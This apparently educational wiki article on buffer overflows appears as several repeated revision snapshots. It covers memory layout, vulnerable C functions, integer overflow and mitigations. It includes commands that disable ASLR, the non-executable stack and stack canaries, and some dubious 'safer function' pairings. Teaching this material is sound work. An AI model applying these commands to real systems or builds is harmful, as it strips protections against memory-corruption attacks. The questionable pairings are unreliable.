When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:39:24Z

AKofranek: /* The Stack and Important Control Structures */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, '''a function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may overwrite the return pointer to redirect the flow of execution.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:38:16Z

AKofranek: /* The Stack and Important Control Structures */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, '''a function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the return address (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may overwrite the return pointer to redirect the flow of execution.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

